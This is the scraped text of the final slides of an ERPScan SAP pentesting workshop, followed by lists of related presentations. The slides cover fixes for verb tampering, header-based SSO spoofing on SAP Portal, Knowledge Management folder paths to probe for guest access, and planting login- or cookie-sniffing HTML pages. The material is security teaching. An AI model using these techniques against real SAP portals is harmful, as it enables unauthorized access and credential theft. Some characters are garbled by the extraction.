  verb	
  tampering	
  user	
  
crea)on	
  
Preven%on	
  
148	
  
PrevenAon:	
  
•  Install	
  SAP	
  note	
  1503579,1616259	
  
•  Scan	
  applicaAons	
  using	
  ERPScan	
  WEB.XML	
  check	
  tool	
  or	
  
manually	
  
•  Secure	
  WEB.XML	
  by	
  deleAng	
  all	
  	
  <hPp-­‐method>	
  
•  Disable	
  applicaAon	
  that	
  are	
  not	
  necessary	
  
149	
  
SAP	
  NetWeaver	
  Portal	
  Security	
  	
  
SAP	
  Portal	
  
•  Point	
  of	
  web	
  access	
  to	
  SAP	
  systems	
  
•  Point	
  of	
  web	
  access	
  to	
  other	
  corporate	
  systems	
  
•  Way	
  for	
  aPackers	
  to	
  get	
  access	
  to	
  SAP	
  from	
  the	
  Internet	
  
•  ~1000	
  Portals	
  in	
  the	
  world,	
  according	
  to	
  Shodan	
  
•  ~200	
  Portals	
  in	
  the	
  world	
  according	
  to	
  Google	
  
	
  
150	
  
Portal	
  issues	
  
•  SAP	
  implements	
  SSO	
  using	
  the	
  Header	
  Variable	
  Login	
  Module	
  
	
  
151	
  
credenAals	
  
check	
  
okay	
  
cookie	
  
APacker	
  
header_auth	
  
cookie	
  
Knowledge	
  Management	
  
•  One	
  of	
  Portal	
  modules	
  is	
  SAP	
  Knowledge	
  Management.	
  
•  KM	
  is	
  addiAonal	
  funcAonality	
  
•  It	
  is	
  designed	
  to	
  aggregate	
  all	
  user	
  documents	
  and	
  create	
  a	
  
knowledge	
  base	
  
•  Like	
  Sharepoint	
  
•  An	
  aPacker	
  can:	
  
–  Get	
  read	
  access	
  to	
  criAcal	
  documents	
  
–  Create	
  phishing	
  pages	
  which	
  will	
  steal	
  logins	
  and	
  passwords.	
  
152	
  
KM	
  Documents	
  
•  KM	
  by	
  default	
  can	
  be	
  found	
  here	
  /irj/go/km/navigaAon	
  
•  SomeAmes	
  Guest	
  user	
  can	
  have	
  access	
  to	
  KM	
  
•  You	
  can	
  test	
  listed	
  folders:	
  
–  /irj/go/km/navigation/userhome/
–  /irj/go/km/navigation/docs/
–  /irj/go/km/navigation/documents/Public Documents/
–  /irj/go/km/navigation/Entry Points/Public
Documents/
153	
  
KM	
  Documents	
  
•  SomeAmes	
  it	
  is	
  possible	
  to	
  put	
  documents	
  into	
  shared	
  folders	
  
•  Like	
  this	
  folder	
  /irj/go/km/docs/documents/Public	
  Documents/	
  
•  You	
  can	
  upload	
  HTML	
  file	
  with	
  login	
  sniffer	
  or	
  cookie	
  sniffer	
  
154	
  
SAP	
  Security	
  
155	
  
Ques)ons?	
  
We	
   devote	
   aden)on	
   to	
   the	
   requirements	
   of	
   our	
   customers	
   and	
  
prospects,	
  and	
  constantly	
  improve	
  our	
  product.	
  If	
  you	
  presume	
  that	
  
our	
  scanner	
  lacks	
  a	
  par)cular	
  func)on,	
  you	
  can	
  e-­‐mail	
  us	
  or	
  give	
  us	
  
a	
  call.	
  We	
  will	
  be	
  glad	
  to	
  consider	
  your	
  sugges)ons	
  for	
  the	
  next	
  
releases	
  or	
  monthly	
  updates.	
  
156	
  
web:	
  www.erpscan.com	
  	
  	
  	
  
e-­‐mail:	
  info@erpscan.com,	
  sales@erpscan.com	
  
Conclusion	
  

Contenu connexe

Tendances

dlux - Splunk Technical Overview
dlux - Splunk Technical Overviewdlux - Splunk Technical Overview
dlux - Splunk Technical OverviewDavid Lutz
 
Application Architecture: The Next Wave | MuleSoft
Application Architecture: The Next Wave | MuleSoftApplication Architecture: The Next Wave | MuleSoft
Application Architecture: The Next Wave | MuleSoftMuleSoft
 
Siem ppt
Siem pptSiem ppt
Siem pptkmehul
 
Sap Security Hacks and Mitigation - Timeless Attacks
Sap Security Hacks and Mitigation - Timeless AttacksSap Security Hacks and Mitigation - Timeless Attacks
Sap Security Hacks and Mitigation - Timeless AttacksErtunga Arsal
 
Microsoft azure overview
Microsoft azure overviewMicrosoft azure overview
Microsoft azure overviewAli Mkahal
 
Next-Gen security operation center
Next-Gen security operation centerNext-Gen security operation center
Next-Gen security operation centerMuhammad Sahputra
 
Privileged Access Management - 2016
Privileged Access Management - 2016Privileged Access Management - 2016
Privileged Access Management - 2016Lance Peterman
 
[REPEAT 1] Executing a Large-Scale Migration to AWS (ENT205-R1) - AWS re:Inve...
[REPEAT 1] Executing a Large-Scale Migration to AWS (ENT205-R1) - AWS re:Inve...[REPEAT 1] Executing a Large-Scale Migration to AWS (ENT205-R1) - AWS re:Inve...
[REPEAT 1] Executing a Large-Scale Migration to AWS (ENT205-R1) - AWS re:Inve...Amazon Web Services
 
AWS Cloud Security & Compliance Basics Webinar
AWS Cloud Security & Compliance Basics WebinarAWS Cloud Security & Compliance Basics Webinar
AWS Cloud Security & Compliance Basics WebinarAmazon Web Services
 
Privileged Access Management (PAM)
Privileged Access Management (PAM)Privileged Access Management (PAM)
Privileged Access Management (PAM)danb02
 
Configure an End-to-End Video Channel to Deliver Low Latency (CTD411-R3) - AW...
Configure an End-to-End Video Channel to Deliver Low Latency (CTD411-R3) - AW...Configure an End-to-End Video Channel to Deliver Low Latency (CTD411-R3) - AW...
Configure an End-to-End Video Channel to Deliver Low Latency (CTD411-R3) - AW...Amazon Web Services
 
Identity and Access Management (IAM)
Identity and Access Management (IAM)Identity and Access Management (IAM)
Identity and Access Management (IAM)Identacor
 
The AWS Shared Security Responsibility Model in Practice
The AWS Shared Security Responsibility Model in PracticeThe AWS Shared Security Responsibility Model in Practice
The AWS Shared Security Responsibility Model in PracticeAmazon Web Services
 

Tendances (20)

dlux - Splunk Technical Overview
dlux - Splunk Technical Overviewdlux - Splunk Technical Overview
dlux - Splunk Technical Overview
 
Application Architecture: The Next Wave | MuleSoft
Application Architecture: The Next Wave | MuleSoftApplication Architecture: The Next Wave | MuleSoft
Application Architecture: The Next Wave | MuleSoft
 
AWS Networking Fundamentals
AWS Networking FundamentalsAWS Networking Fundamentals
AWS Networking Fundamentals
 
Csslp
CsslpCsslp
Csslp
 
Introduction to AWS Security
Introduction to AWS SecurityIntroduction to AWS Security
Introduction to AWS Security
 
Splunk overview
Splunk overviewSplunk overview
Splunk overview
 
Siem ppt
Siem pptSiem ppt
Siem ppt
 
IBM Security QRadar
 IBM Security QRadar IBM Security QRadar
IBM Security QRadar
 
Sap Security Hacks and Mitigation - Timeless Attacks
Sap Security Hacks and Mitigation - Timeless AttacksSap Security Hacks and Mitigation - Timeless Attacks
Sap Security Hacks and Mitigation - Timeless Attacks
 
Microsoft azure overview
Microsoft azure overviewMicrosoft azure overview
Microsoft azure overview
 
Next-Gen security operation center
Next-Gen security operation centerNext-Gen security operation center
Next-Gen security operation center
 
Privileged Access Management - 2016
Privileged Access Management - 2016Privileged Access Management - 2016
Privileged Access Management - 2016
 
[REPEAT 1] Executing a Large-Scale Migration to AWS (ENT205-R1) - AWS re:Inve...
[REPEAT 1] Executing a Large-Scale Migration to AWS (ENT205-R1) - AWS re:Inve...[REPEAT 1] Executing a Large-Scale Migration to AWS (ENT205-R1) - AWS re:Inve...
[REPEAT 1] Executing a Large-Scale Migration to AWS (ENT205-R1) - AWS re:Inve...
 
AWS Cloud Security & Compliance Basics Webinar
AWS Cloud Security & Compliance Basics WebinarAWS Cloud Security & Compliance Basics Webinar
AWS Cloud Security & Compliance Basics Webinar
 
Privileged Access Management (PAM)
Privileged Access Management (PAM)Privileged Access Management (PAM)
Privileged Access Management (PAM)
 
AWS WAF - A Web App Firewall
AWS WAF - A Web App FirewallAWS WAF - A Web App Firewall
AWS WAF - A Web App Firewall
 
DevOps on AWS
DevOps on AWSDevOps on AWS
DevOps on AWS
 
Configure an End-to-End Video Channel to Deliver Low Latency (CTD411-R3) - AW...
Configure an End-to-End Video Channel to Deliver Low Latency (CTD411-R3) - AW...Configure an End-to-End Video Channel to Deliver Low Latency (CTD411-R3) - AW...
Configure an End-to-End Video Channel to Deliver Low Latency (CTD411-R3) - AW...
 
Identity and Access Management (IAM)
Identity and Access Management (IAM)Identity and Access Management (IAM)
Identity and Access Management (IAM)
 
The AWS Shared Security Responsibility Model in Practice
The AWS Shared Security Responsibility Model in PracticeThe AWS Shared Security Responsibility Model in Practice
The AWS Shared Security Responsibility Model in Practice
 

En vedette

5 real ways to destroy business by breaking SAP applications
5 real ways to destroy business by breaking SAP applications5 real ways to destroy business by breaking SAP applications
5 real ways to destroy business by breaking SAP applicationsERPScan
 
SAP Business Objects Attacks
SAP Business Objects AttacksSAP Business Objects Attacks
SAP Business Objects AttacksOnapsis Inc.
 
Attacking SAP users with sapsploit
Attacking SAP users with sapsploit Attacking SAP users with sapsploit
Attacking SAP users with sapsploit ERPScan
 
Pen Testing SAP Critical Information Exposed
Pen Testing SAP Critical Information ExposedPen Testing SAP Critical Information Exposed
Pen Testing SAP Critical Information ExposedOnapsis Inc.
 
EAS-SEC: Framework for securing business applications
EAS-SEC: Framework for securing business applicationsEAS-SEC: Framework for securing business applications
EAS-SEC: Framework for securing business applicationsERPScan
 
Cyber-attacks to SAP Systems
Cyber-attacks to SAP SystemsCyber-attacks to SAP Systems
Cyber-attacks to SAP SystemsOnapsis Inc.
 
Developing High Performance and Scalable ColdFusion Application Using Terraco...
Developing High Performance and Scalable ColdFusion Application Using Terraco...Developing High Performance and Scalable ColdFusion Application Using Terraco...
Developing High Performance and Scalable ColdFusion Application Using Terraco...ColdFusionConference
 
Predicting Defects in SAP Java Code: An Experience Report
Predicting Defects in SAP Java Code: An Experience ReportPredicting Defects in SAP Java Code: An Experience Report
Predicting Defects in SAP Java Code: An Experience Reporttilman.holschuh
 
Distributed Caching Using the JCACHE API and ehcache, Including a Case Study ...
Distributed Caching Using the JCACHE API and ehcache, Including a Case Study ...Distributed Caching Using the JCACHE API and ehcache, Including a Case Study ...
Distributed Caching Using the JCACHE API and ehcache, Including a Case Study ...elliando dias
 
SAP Integration with Red Hat JBoss Technologies
SAP Integration with Red Hat JBoss TechnologiesSAP Integration with Red Hat JBoss Technologies
SAP Integration with Red Hat JBoss Technologieshwilming
 
Assessing and Securing SAP Solutions
Assessing and Securing SAP SolutionsAssessing and Securing SAP Solutions
Assessing and Securing SAP SolutionsERPScan
 
If I want a perfect cyberweapon, I'll target ERP
If I want a perfect cyberweapon, I'll target ERPIf I want a perfect cyberweapon, I'll target ERP
If I want a perfect cyberweapon, I'll target ERPERPScan
 
Forgotten world - Corporate Business Application Systems
Forgotten world - Corporate Business Application SystemsForgotten world - Corporate Business Application Systems
Forgotten world - Corporate Business Application SystemsERPScan
 
SSRF vs. Business-critical applications. Part 2. New vectors and connect-back...
SSRF vs. Business-critical applications. Part 2. New vectors and connect-back...SSRF vs. Business-critical applications. Part 2. New vectors and connect-back...
SSRF vs. Business-critical applications. Part 2. New vectors and connect-back...ERPScan
 
If I want a perfect cyberweapon, I'll target ERP - second edition
If I want a perfect cyberweapon, I'll target ERP - second editionIf I want a perfect cyberweapon, I'll target ERP - second edition
If I want a perfect cyberweapon, I'll target ERP - second editionERPScan
 
Business breakdown vulnerabilities in ERP via ICS and ICS via ERP
Business breakdown vulnerabilities in ERP via ICS and ICS via ERPBusiness breakdown vulnerabilities in ERP via ICS and ICS via ERP
Business breakdown vulnerabilities in ERP via ICS and ICS via ERPERPScan
 
Breaking, forensicating and anti-forensicating SAP Portal and J2EE Engine
Breaking, forensicating and anti-forensicating SAP Portal and J2EE EngineBreaking, forensicating and anti-forensicating SAP Portal and J2EE Engine
Breaking, forensicating and anti-forensicating SAP Portal and J2EE EngineERPScan
 

En vedette (20)

5 real ways to destroy business by breaking SAP applications
5 real ways to destroy business by breaking SAP applications5 real ways to destroy business by breaking SAP applications
5 real ways to destroy business by breaking SAP applications
 
Sap security – thinking with a hacker’s hat
Sap security – thinking with a hacker’s hatSap security – thinking with a hacker’s hat
Sap security – thinking with a hacker’s hat
 
SAP Business Objects Attacks
SAP Business Objects AttacksSAP Business Objects Attacks
SAP Business Objects Attacks
 
Attacking SAP users with sapsploit
Attacking SAP users with sapsploit Attacking SAP users with sapsploit
Attacking SAP users with sapsploit
 
Pen Testing SAP Critical Information Exposed
Pen Testing SAP Critical Information ExposedPen Testing SAP Critical Information Exposed
Pen Testing SAP Critical Information Exposed
 
EAS-SEC: Framework for securing business applications
EAS-SEC: Framework for securing business applicationsEAS-SEC: Framework for securing business applications
EAS-SEC: Framework for securing business applications
 
Cyber-attacks to SAP Systems
Cyber-attacks to SAP SystemsCyber-attacks to SAP Systems
Cyber-attacks to SAP Systems
 
Developing High Performance and Scalable ColdFusion Application Using Terraco...
Developing High Performance and Scalable ColdFusion Application Using Terraco...Developing High Performance and Scalable ColdFusion Application Using Terraco...
Developing High Performance and Scalable ColdFusion Application Using Terraco...
 
SAP and Red Hat JBoss Partner Webinar
SAP and Red Hat JBoss Partner WebinarSAP and Red Hat JBoss Partner Webinar
SAP and Red Hat JBoss Partner Webinar
 
Predicting Defects in SAP Java Code: An Experience Report
Predicting Defects in SAP Java Code: An Experience ReportPredicting Defects in SAP Java Code: An Experience Report
Predicting Defects in SAP Java Code: An Experience Report
 
Distributed Caching Using the JCACHE API and ehcache, Including a Case Study ...
Distributed Caching Using the JCACHE API and ehcache, Including a Case Study ...Distributed Caching Using the JCACHE API and ehcache, Including a Case Study ...
Distributed Caching Using the JCACHE API and ehcache, Including a Case Study ...
 
Sap java
Sap javaSap java
Sap java
 
SAP Integration with Red Hat JBoss Technologies
SAP Integration with Red Hat JBoss TechnologiesSAP Integration with Red Hat JBoss Technologies
SAP Integration with Red Hat JBoss Technologies
 
Assessing and Securing SAP Solutions
Assessing and Securing SAP SolutionsAssessing and Securing SAP Solutions
Assessing and Securing SAP Solutions
 
If I want a perfect cyberweapon, I'll target ERP
If I want a perfect cyberweapon, I'll target ERPIf I want a perfect cyberweapon, I'll target ERP
If I want a perfect cyberweapon, I'll target ERP
 
Forgotten world - Corporate Business Application Systems
Forgotten world - Corporate Business Application SystemsForgotten world - Corporate Business Application Systems
Forgotten world - Corporate Business Application Systems
 
SSRF vs. Business-critical applications. Part 2. New vectors and connect-back...
SSRF vs. Business-critical applications. Part 2. New vectors and connect-back...SSRF vs. Business-critical applications. Part 2. New vectors and connect-back...
SSRF vs. Business-critical applications. Part 2. New vectors and connect-back...
 
If I want a perfect cyberweapon, I'll target ERP - second edition
If I want a perfect cyberweapon, I'll target ERP - second editionIf I want a perfect cyberweapon, I'll target ERP - second edition
If I want a perfect cyberweapon, I'll target ERP - second edition
 
Business breakdown vulnerabilities in ERP via ICS and ICS via ERP
Business breakdown vulnerabilities in ERP via ICS and ICS via ERPBusiness breakdown vulnerabilities in ERP via ICS and ICS via ERP
Business breakdown vulnerabilities in ERP via ICS and ICS via ERP
 
Breaking, forensicating and anti-forensicating SAP Portal and J2EE Engine
Breaking, forensicating and anti-forensicating SAP Portal and J2EE EngineBreaking, forensicating and anti-forensicating SAP Portal and J2EE Engine
Breaking, forensicating and anti-forensicating SAP Portal and J2EE Engine
 

Similaire à Practical SAP pentesting workshop (NullCon Goa)

Implementing SAP security in 5 steps
Implementing SAP security in 5 stepsImplementing SAP security in 5 steps
Implementing SAP security in 5 stepsERPScan
 
Practical pentesting of ERPs and business applications
Practical pentesting of ERPs and business applicationsPractical pentesting of ERPs and business applications
Practical pentesting of ERPs and business applicationsERPScan
 
SAP security made easy
SAP security made easySAP security made easy
SAP security made easyERPScan
 
Assess and monitor SAP security
Assess and monitor SAP securityAssess and monitor SAP security
Assess and monitor SAP securityERPScan
 
EAS-SEC Project
EAS-SEC ProjectEAS-SEC Project
EAS-SEC ProjectERPScan
 
ERP Security. Myths, Problems, Solutions
ERP Security. Myths, Problems, SolutionsERP Security. Myths, Problems, Solutions
ERP Security. Myths, Problems, SolutionsERPScan
 
SAP security landscape. How to protect(hack) your(their) big business
SAP security landscape. How to protect(hack) your(their) big businessSAP security landscape. How to protect(hack) your(their) big business
SAP security landscape. How to protect(hack) your(their) big businessERPScan
 
SAP portal: breaking and forensicating
SAP portal: breaking and forensicating SAP portal: breaking and forensicating
SAP portal: breaking and forensicating ERPScan
 
What CISOs should know about SAP security
What CISOs should know about SAP securityWhat CISOs should know about SAP security
What CISOs should know about SAP securityERPScan
 
Attacks Based on Security Configurations
Attacks Based on Security ConfigurationsAttacks Based on Security Configurations
Attacks Based on Security ConfigurationsOnapsis Inc.
 
SAP Inside Track Frankfurt 2018 #Sitfra 2018
SAP Inside Track Frankfurt 2018 #Sitfra 2018SAP Inside Track Frankfurt 2018 #Sitfra 2018
SAP Inside Track Frankfurt 2018 #Sitfra 2018jvandevis
 
Onapsis SAP Forensics: Detecting White-Collar Cyber Crime with SAP Forensics
Onapsis SAP Forensics: Detecting White-Collar Cyber Crime with SAP ForensicsOnapsis SAP Forensics: Detecting White-Collar Cyber Crime with SAP Forensics
Onapsis SAP Forensics: Detecting White-Collar Cyber Crime with SAP ForensicsOnapsis Inc.
 
SAP Forensics Detecting White Collar Cyber-crime
SAP Forensics Detecting White Collar Cyber-crimeSAP Forensics Detecting White Collar Cyber-crime
SAP Forensics Detecting White Collar Cyber-crimeOnapsis Inc.
 
Accelerate2022-Solving the SAP Security Gap through Application-aware Network...
Accelerate2022-Solving the SAP Security Gap through Application-aware Network...Accelerate2022-Solving the SAP Security Gap through Application-aware Network...
Accelerate2022-Solving the SAP Security Gap through Application-aware Network...PeterSmetny1
 
ciso-platform-annual-summit-2013-New Framework for ERP Security
ciso-platform-annual-summit-2013-New Framework for ERP Securityciso-platform-annual-summit-2013-New Framework for ERP Security
ciso-platform-annual-summit-2013-New Framework for ERP SecurityPriyanka Aash
 
Onapsis SAP Backdoors
Onapsis SAP BackdoorsOnapsis SAP Backdoors
Onapsis SAP BackdoorsOnapsis Inc.
 
CONFidence 2014: Dimitriy Chastuhin: All your sap p@$$w0яd z belong to us
CONFidence 2014: Dimitriy Chastuhin:  All your sap p@$$w0яd z belong to usCONFidence 2014: Dimitriy Chastuhin:  All your sap p@$$w0яd z belong to us
CONFidence 2014: Dimitriy Chastuhin: All your sap p@$$w0яd z belong to usPROIDEA
 
A crushing blow at the heart of SAP’s J2EE Engine.
A crushing blow at the heart of SAP’s J2EE Engine. A crushing blow at the heart of SAP’s J2EE Engine.
A crushing blow at the heart of SAP’s J2EE Engine. ERPScan
 

Similaire à Practical SAP pentesting workshop (NullCon Goa) (20)

Implementing SAP security in 5 steps
Implementing SAP security in 5 stepsImplementing SAP security in 5 steps
Implementing SAP security in 5 steps
 
Practical pentesting of ERPs and business applications
Practical pentesting of ERPs and business applicationsPractical pentesting of ERPs and business applications
Practical pentesting of ERPs and business applications
 
SAP security made easy
SAP security made easySAP security made easy
SAP security made easy
 
Assess and monitor SAP security
Assess and monitor SAP securityAssess and monitor SAP security
Assess and monitor SAP security
 
EAS-SEC Project
EAS-SEC ProjectEAS-SEC Project
EAS-SEC Project
 
ERP Security. Myths, Problems, Solutions
ERP Security. Myths, Problems, SolutionsERP Security. Myths, Problems, Solutions
ERP Security. Myths, Problems, Solutions
 
An easy way into your sap systems v3.0
An easy way into your sap systems v3.0An easy way into your sap systems v3.0
An easy way into your sap systems v3.0
 
SAP security landscape. How to protect(hack) your(their) big business
SAP security landscape. How to protect(hack) your(their) big businessSAP security landscape. How to protect(hack) your(their) big business
SAP security landscape. How to protect(hack) your(their) big business
 
SAP portal: breaking and forensicating
SAP portal: breaking and forensicating SAP portal: breaking and forensicating
SAP portal: breaking and forensicating
 
What CISOs should know about SAP security
What CISOs should know about SAP securityWhat CISOs should know about SAP security
What CISOs should know about SAP security
 
Attacks Based on Security Configurations
Attacks Based on Security ConfigurationsAttacks Based on Security Configurations
Attacks Based on Security Configurations
 
SAP Inside Track Frankfurt 2018 #Sitfra 2018
SAP Inside Track Frankfurt 2018 #Sitfra 2018SAP Inside Track Frankfurt 2018 #Sitfra 2018
SAP Inside Track Frankfurt 2018 #Sitfra 2018
 
Onapsis SAP Forensics: Detecting White-Collar Cyber Crime with SAP Forensics
Onapsis SAP Forensics: Detecting White-Collar Cyber Crime with SAP ForensicsOnapsis SAP Forensics: Detecting White-Collar Cyber Crime with SAP Forensics
Onapsis SAP Forensics: Detecting White-Collar Cyber Crime with SAP Forensics
 
SAP Forensics Detecting White Collar Cyber-crime
SAP Forensics Detecting White Collar Cyber-crimeSAP Forensics Detecting White Collar Cyber-crime
SAP Forensics Detecting White Collar Cyber-crime
 
SAST Code Security Advisor for SAP [Webinar]
SAST Code Security Advisor for SAP [Webinar]SAST Code Security Advisor for SAP [Webinar]
SAST Code Security Advisor for SAP [Webinar]
 
Accelerate2022-Solving the SAP Security Gap through Application-aware Network...
Accelerate2022-Solving the SAP Security Gap through Application-aware Network...Accelerate2022-Solving the SAP Security Gap through Application-aware Network...
Accelerate2022-Solving the SAP Security Gap through Application-aware Network...
 
ciso-platform-annual-summit-2013-New Framework for ERP Security
ciso-platform-annual-summit-2013-New Framework for ERP Securityciso-platform-annual-summit-2013-New Framework for ERP Security
ciso-platform-annual-summit-2013-New Framework for ERP Security
 
Onapsis SAP Backdoors
Onapsis SAP BackdoorsOnapsis SAP Backdoors
Onapsis SAP Backdoors
 
CONFidence 2014: Dimitriy Chastuhin: All your sap p@$$w0яd z belong to us
CONFidence 2014: Dimitriy Chastuhin:  All your sap p@$$w0яd z belong to usCONFidence 2014: Dimitriy Chastuhin:  All your sap p@$$w0яd z belong to us
CONFidence 2014: Dimitriy Chastuhin: All your sap p@$$w0яd z belong to us
 
A crushing blow at the heart of SAP’s J2EE Engine.
A crushing blow at the heart of SAP’s J2EE Engine. A crushing blow at the heart of SAP’s J2EE Engine.
A crushing blow at the heart of SAP’s J2EE Engine.
 

Plus de ERPScan

Attacking SAP Mobile
Attacking SAP MobileAttacking SAP Mobile
Attacking SAP MobileERPScan
 
Chinese attack on USIS exploiting SAP vulnerability. Detailed review and comm...
Chinese attack on USIS exploiting SAP vulnerability. Detailed review and comm...Chinese attack on USIS exploiting SAP vulnerability. Detailed review and comm...
Chinese attack on USIS exploiting SAP vulnerability. Detailed review and comm...ERPScan
 
The latest changes to SAP cybersecurity landscape
The latest changes to SAP cybersecurity landscapeThe latest changes to SAP cybersecurity landscape
The latest changes to SAP cybersecurity landscapeERPScan
 
Oracle PeopleSoft applications are under attacks (Hack in Paris)
Oracle PeopleSoft applications are under attacks (Hack in Paris)Oracle PeopleSoft applications are under attacks (Hack in Paris)
Oracle PeopleSoft applications are under attacks (Hack in Paris)ERPScan
 
Oracle PeopleSoft applications are under attack (HITB AMS)
Oracle PeopleSoft applications are under attack (HITB AMS)Oracle PeopleSoft applications are under attack (HITB AMS)
Oracle PeopleSoft applications are under attack (HITB AMS)ERPScan
 
13 real ways to destroy business by breaking company’s SAP applications
13 real ways to destroy business by breaking company’s SAP applications13 real ways to destroy business by breaking company’s SAP applications
13 real ways to destroy business by breaking company’s SAP applicationsERPScan
 
All your SAP passwords belong to us
All your SAP passwords belong to usAll your SAP passwords belong to us
All your SAP passwords belong to usERPScan
 
Injecting evil code in your SAP J2EE systems. Security of SAP Software Deploy...
Injecting evil code in your SAP J2EE systems. Security of SAP Software Deploy...Injecting evil code in your SAP J2EE systems. Security of SAP Software Deploy...
Injecting evil code in your SAP J2EE systems. Security of SAP Software Deploy...ERPScan
 
SAP SDM Hacking
SAP SDM HackingSAP SDM Hacking
SAP SDM HackingERPScan
 
Securing SAP in 5 steps
Securing SAP in 5 stepsSecuring SAP in 5 steps
Securing SAP in 5 stepsERPScan
 
With big data comes big responsibility
With big data comes big responsibilityWith big data comes big responsibility
With big data comes big responsibilityERPScan
 
SAP security in figures
SAP security in figuresSAP security in figures
SAP security in figuresERPScan
 
Breaking SAP portal (DeepSec)
Breaking SAP portal (DeepSec)Breaking SAP portal (DeepSec)
Breaking SAP portal (DeepSec)ERPScan
 
Breaking SAP portal (HashDays)
Breaking SAP portal (HashDays)Breaking SAP portal (HashDays)
Breaking SAP portal (HashDays)ERPScan
 

Plus de ERPScan (14)

Attacking SAP Mobile
Attacking SAP MobileAttacking SAP Mobile
Attacking SAP Mobile
 
Chinese attack on USIS exploiting SAP vulnerability. Detailed review and comm...
Chinese attack on USIS exploiting SAP vulnerability. Detailed review and comm...Chinese attack on USIS exploiting SAP vulnerability. Detailed review and comm...
Chinese attack on USIS exploiting SAP vulnerability. Detailed review and comm...
 
The latest changes to SAP cybersecurity landscape
The latest changes to SAP cybersecurity landscapeThe latest changes to SAP cybersecurity landscape
The latest changes to SAP cybersecurity landscape
 
Oracle PeopleSoft applications are under attacks (Hack in Paris)
Oracle PeopleSoft applications are under attacks (Hack in Paris)Oracle PeopleSoft applications are under attacks (Hack in Paris)
Oracle PeopleSoft applications are under attacks (Hack in Paris)
 
Oracle PeopleSoft applications are under attack (HITB AMS)
Oracle PeopleSoft applications are under attack (HITB AMS)Oracle PeopleSoft applications are under attack (HITB AMS)
Oracle PeopleSoft applications are under attack (HITB AMS)
 
13 real ways to destroy business by breaking company’s SAP applications
13 real ways to destroy business by breaking company’s SAP applications13 real ways to destroy business by breaking company’s SAP applications
13 real ways to destroy business by breaking company’s SAP applications
 
All your SAP passwords belong to us
All your SAP passwords belong to usAll your SAP passwords belong to us
All your SAP passwords belong to us
 
Injecting evil code in your SAP J2EE systems. Security of SAP Software Deploy...
Injecting evil code in your SAP J2EE systems. Security of SAP Software Deploy...Injecting evil code in your SAP J2EE systems. Security of SAP Software Deploy...
Injecting evil code in your SAP J2EE systems. Security of SAP Software Deploy...
 
SAP SDM Hacking
SAP SDM HackingSAP SDM Hacking
SAP SDM Hacking
 
Securing SAP in 5 steps
Securing SAP in 5 stepsSecuring SAP in 5 steps
Securing SAP in 5 steps
 
With big data comes big responsibility
With big data comes big responsibilityWith big data comes big responsibility
With big data comes big responsibility
 
SAP security in figures
SAP security in figuresSAP security in figures
SAP security in figures
 
Breaking SAP portal (DeepSec)
Breaking SAP portal (DeepSec)Breaking SAP portal (DeepSec)
Breaking SAP portal (DeepSec)
 
Breaking SAP portal (HashDays)
Breaking SAP portal (HashDays)Breaking SAP portal (HashDays)
Breaking SAP portal (HashDays)
 

Dernier

How To Use Server-Side Rendering with Nuxt.js
How To Use Server-Side Rendering with Nuxt.jsHow To Use Server-Side Rendering with Nuxt.js
How To Use Server-Side Rendering with Nuxt.jsAndolasoft Inc
 
Unlocking the Future of AI Agents with Large Language Models
Unlocking the Future of AI Agents with Large Language ModelsUnlocking the Future of AI Agents with Large Language Models
Unlocking the Future of AI Agents with Large Language Modelsaagamshah0812
 
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...ICS
 
Salesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantSalesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantAxelRicardoTrocheRiq
 
A Secure and Reliable Document Management System is Essential.docx
A Secure and Reliable Document Management System is Essential.docxA Secure and Reliable Document Management System is Essential.docx
A Secure and Reliable Document Management System is Essential.docxComplianceQuest1
 
5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdfWave PLM
 
DNT_Corporate presentation know about us
DNT_Corporate presentation know about usDNT_Corporate presentation know about us
DNT_Corporate presentation know about usDynamic Netsoft
 
TECUNIQUE: Success Stories: IT Service provider
TECUNIQUE: Success Stories: IT Service providerTECUNIQUE: Success Stories: IT Service provider
TECUNIQUE: Success Stories: IT Service providermohitmore19
 
Professional Resume Template for Software Developers
Professional Resume Template for Software DevelopersProfessional Resume Template for Software Developers
Professional Resume Template for Software DevelopersVinodh Ram
 
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AI
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AISyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AI
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AIABDERRAOUF MEHENNI
 
Advancing Engineering with AI through the Next Generation of Strategic Projec...
Advancing Engineering with AI through the Next Generation of Strategic Projec...Advancing Engineering with AI through the Next Generation of Strategic Projec...
Advancing Engineering with AI through the Next Generation of Strategic Projec...OnePlan Solutions
 
Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...
Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...
Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...OnePlan Solutions
 
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...gurkirankumar98700
 
Reassessing the Bedrock of Clinical Function Models: An Examination of Large ...
Reassessing the Bedrock of Clinical Function Models: An Examination of Large ...Reassessing the Bedrock of Clinical Function Models: An Examination of Large ...
Reassessing the Bedrock of Clinical Function Models: An Examination of Large ...harshavardhanraghave
 
Unveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time ApplicationsUnveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time ApplicationsAlberto González Trastoy
 
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
